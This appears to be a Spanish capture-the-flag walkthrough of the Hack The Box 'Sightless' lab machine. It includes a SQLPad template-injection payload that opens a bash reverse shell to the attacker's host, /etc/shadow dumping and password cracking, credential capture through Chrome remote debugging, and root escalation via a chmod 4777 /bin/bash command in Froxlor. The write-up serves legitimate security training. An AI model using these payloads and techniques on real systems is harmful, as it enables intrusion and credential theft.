- Dificultad: Fácil
- Sistema: Linux
- Fecha: 7/9/2024
En este walkthrough vamos a abordar la máquina Sightless de Hack The Box, una maquina Linux y que tiene un dificultad fácil.
Empecemos!
Como es habitual, empezamos escaneando puertos.
nmap 10.10.11.32
Nos devuelve lo siguiente:
Nmap scan report for sightless.htb (10.10.11.32)
Host is up (0.040s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
Se puede observar que contamos con 3 puertos abiertos, empezamos mirando que hay en la web
Recuerda añadir sightless.htb a tu /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# Others
10.10.11.32 sightless.htb
Vemos que la página carga correctamente
Si exploramos un poco la web, podemos observar que nos ofrece una demo de SQLPad
Nos redirige a http://sqlpad.sightless.htb/
Recuerda que también lo deberás añadir a tu /etc/hosts
Antes de nada, revisaremos que versión de SQLPad se esta usando, por si tiene alguna vulnerabilidad
Si le damos a los 3 puntitos de arriba a derecha podemos observar la versión:
Buscaremos en Google si existe alguna vulnerabilidad para esta versión.
Efectivamente existe una vulnerabilidad para dicha versión
Se trata de una vulnerabilidad RCE (Remote Code Execution), que nos permite ejecutar código remoto en la maquina victima.
1º Opción: Usando un script
El usuario shhrew de Github nos proporciona un script para explotar esta vulnerabilidad
Nos descargamos el repositorio en nuestra maquina
git clone https://github.com/shhrew/CVE-2022-0944
Seguimos el procedimiento inicial que nos indica sshrew que sería:
# instalar requisitos
pip install -r requirements.txt
Antes de ejecutar el exploit, abrimos una terminal:
nc -lvnp <puerto>
Elige el puerto que quieras.
Netcat empezará a escuchar por tal puerto, ahora si podremos ejecutar el exploit
listening on [any] 8686 ...
Para ejecutar el script seguiremos los pasos que nos indican en el repo de Github
python3 main.py http://sqlpad.sightless.htb <tu ip> <tu puerto>
Al ejecutarlo en la terminal de netcat nos aparecerá un rev shell
connect to [10.10.10.10] from (UNKNOWN) [10.10.11.32] 52142
#
2º Opción: Mediante SQLPad
Si no quieres usar el script existe una forma, incluso mas fácil, de explotar esta vulnerabilidad.
Para ello, vuelve a http://sqlpad.sightless.htb/ y haz click a Connections > Add connection
Se nos abrirá el siguiente desplegable
En Driver selecciona MySQL
En Database, deberemos colocar el payload, que podemos encontrar en el blog de huntr.
{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}
Deberemos modificarlo para que nos permita conseguir una rev shell, para ello yo use como referencia RevShells, un generador online que nos facilita el trabajo.
{{ process.mainModule.require('child_process').exec('/bin/bash -c "/bin/bash -i >& /dev/tcp/< tu up >/< tu puerto > 0>&1"') }}
Recuerda tener netcat preparado, haz click en Test y deberíamos tener ya la rev shell
nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.11.32] 49520
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad#
Ya estamos dentro de la maquina! o de un container al menos, ya que si comprobamos la IP podemos observar que no es la IP de la maquina.
# hostname -I
172.17.0.2
Buscamos algo que nos permita «escapar» del container
Haciendo una búsqueda encuentro un script «docker-entrypoint» que nos ejecuta cualquier archivo acabado en .sh en el directorio /etc/docker-entrypoint.d
Pero yo al menos no he encontrado una forma de aprovechar esto, ya que ya somos usuario root en el container.
Seguimos el procedimiento habitual, buscaremos los usuarios en el sistema
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash
El usuario michael parece sospechoso, ya que no es ninguno del sistema, comprobaremos el hash por si tiene una contraseña débil
cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
Copiamos el hash en un archivo y probamos con john
nano hash
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/
Ahora ejecutaremos john
john hash -w=/usr/share/wordlist/rockyou.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
insaneclownposse (?)
1g 0:00:00:02 DONE (2024-09-20 00:00) 0.4237g/s 25166p/s 25166c/s 25166C/s XIOMARA..062906
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Obtenemos la contraseña del usuario michael.
insaneclownposse
Nos conectamos por SSH esta vez a la maquina host.
ssh [email protected]
Estamos dentro! ya podemos ver la flag del usuario.
michael@sightless:~$ ls
user.txt
Ahora vamos a por el root!
Comenzaremos comprobando que versión de kernel se está usando.
michael@sightless:~$ uname -a
Linux sightless 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
Tenemos las 5.15.0-119, en un principio pensé que podría usar DirtyPipe, pero está se parcheó en la 5.15.0-102, puedes consultar mas detalles aquí.
Nos toca seguir buscando!
Usando como ayuda GTFOBins, intento buscar algo para hacer la escalación de privilegios pero no encuentro nada.
Recordemos, que en la pagina del principio nos decía que uno de los servicios que ofrecía esta empresa ficticia era Floxlor, un software para administrar servidores.
Pero esto no está expuesto, revisemos los puertos de la maquina.
michael@sightless:~$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:34325 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:46065 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:45895 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Se puede observar que la que mas probable que sea es el 8080, ya que el 80 es la web que podemos ver y el 3000 es SQLPad.
Para poder acceder tendremos que hacer una redirección de puertos de la maquina remota a nuestra maquina.
Para ello, yo lo haré mediante SSH, siguiendo la documentación que encontré aquí logro redirigir el puerto 8080 a mi maquina.
La opción -L habilita la redirección de puertos.
ssh -L 8080:127.0.0.1:8080 [email protected]
Si ya estas usando el puerto 8080 puedes cambiarlo por el que prefieras, el primer puerto es el que se usará en tu maquina y el segundo el que debe ser redirigido en la maquina remota.
ssh -L 9696:127.0.0.1:8080 [email protected]
Comprobamos en el navegador si logramos ver algo.
Podemos ver un panel de login, pero no contamos con credenciales.
Seguimos buscando algo que nos pueda ayudar.
Compruebo los puertos nuevamente, existen 3 puertos abiertos que parecen generarse aleatoriamente.
michael@sightless:~$ netstat -lp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN -
tcp 0 0 localhost:http-alt 0.0.0.0:* LISTEN -
tcp 0 0 localhost:34325 0.0.0.0:* LISTEN -
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN -
tcp 0 0 localhost:33060 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN -
tcp 0 0 localhost:3000 0.0.0.0:* LISTEN -
tcp 0 0 localhost:46065 0.0.0.0:* LISTEN -
tcp 0 0 localhost:45895 0.0.0.0:* LISTEN -
tcp6 0 0 [::]:ssh [::]:* LISTEN -
tcp6 0 0 [::]:ftp [::]:* LISTEN -
udp 0 0 localhost:domain 0.0.0.0:* -
udp 0 0 0.0.0.0:bootpc 0.0.0.0:* -
Viendo los procesos se puede observar que chrome se está ejecutando
michael@sightless:~$ ps aux
----------------------------------------------------------------------------------------------
john 1752 0.6 3.0 34003192 120260 ? Sl Sep21 8:59 /opt/google/chrome/chrome
john 1754 0.0 0.0 33575860 3136 ? Sl Sep21 0:00 /opt/google/chrome/chrome_crashpad_handler
john 1758 0.0 1.4 34112448 56372 ? S Sep21 0:00 /opt/google/chrome/chrome
john 1759 0.0 1.4 34112456 56780 ? S Sep21 0:00 /opt/google/chrome/chrome
john 1773 0.5 3.2 34365416 129572 ? Sl Sep21 6:51 /opt/google/chrome/chrome
john 1775 0.1 2.2 33900068 87544 ? Sl Sep21 1:56 /opt/google/chrome/chrome
john 1803 3.2 5.7 1186799072 227616 ? Sl Sep21 41:49 /opt/google/chrome/chrome
----------------------------------------------------------------------------------------------
Si hacemos un grep con uno de eso puertos encontramos un script del usuario john
michael@sightless:~$ ps aux | grep "46065"
john 1741 0.4 0.3 33630172 15032 ? Sl Sep21 5:19 /home/john/automation/chromedriver --port=46065
Lastimosamente no podemos acceder a su directorio home, pero nos da la pista que es algo relacionado con Chrome
Tras buscar y leer varios blog, creo que se trata de la consola de desarrollo de Chrome.
Os dejo lo que encontré
Devforth – Chrome remote debugging setup
Dev.to – Guide to Chrome Remote Debugging
Exploit Notes – Chrome Remote Debugger Pentesting
Seguimos el ejemplo aplicando los puertos que están abiertos mediante SSH como anteriormente.
Redirecciona todos esos puertos, que en este caso es
ssh -L 46065:127.0.0.1:46065 -L 34325:127.0.0.1:34325 -L 33060:127.0.0.1:33060 -L 45895:127.0.0.1:45895 [email protected]
Abrimos el chrome, y escribimos chrome://inspect/#devices en la barra de URL
Tendremos que configurar los puertos que anteriormente redireccionamos
Logramos conectar con el objetivo
Haz click en «inspect», se abrirá las herramientas de desarrollador
Se puede observar que cada X segundos se loguea alguien, si hacemos click en index.php y posteriormente en Payload, como puedes observar podemos ver las credenciales.
Conseguimos el usuario y contraseña del panel de Froxlor
admin
ForlorfroxAdmin
Probamos las credenciales y logramos iniciar sesión.
Una vez ya dentro todo se vuelve mas fácil, como puedes observar en el panel lateral izquierdo, contamos con PHP-FPM que nos permite ejecutar código.
Aquí tienes que ser rápido, ya que no estas solo en la maquina y otra persona podría interferir.
Puedes hacerlo de varias formas, copiando el id_rsa del root, copiando la flag o modificando los permisos del binario /bin/bash.
Lo mas rápido es modificar los permisos, para ello
Haz click en Create new PHP version
En php-fpm restart command escribe
chmod 4777 /bin/bash
Posteriormente, guarda los cambios
Ve a System > Settings > PHP-FPM
Deshabilita php-fpm y vuelve a activarlo, esto ejecutará el comando que anteriormente escribimos
Vuelve a la terminal y escribe
michael@sightless:~$ /bin/bash -p
bash-5.1# whoami
root
docker-volumes root.txt scripts
bash-5.1#
Ya somos usuario root y podemos ver la flag!
Recuerda borrar la version para no hacerle spoiler a otro usuario
Gracias por pasarte y si tienes alguna sugerencia no dudes en comentarla
Un saludo!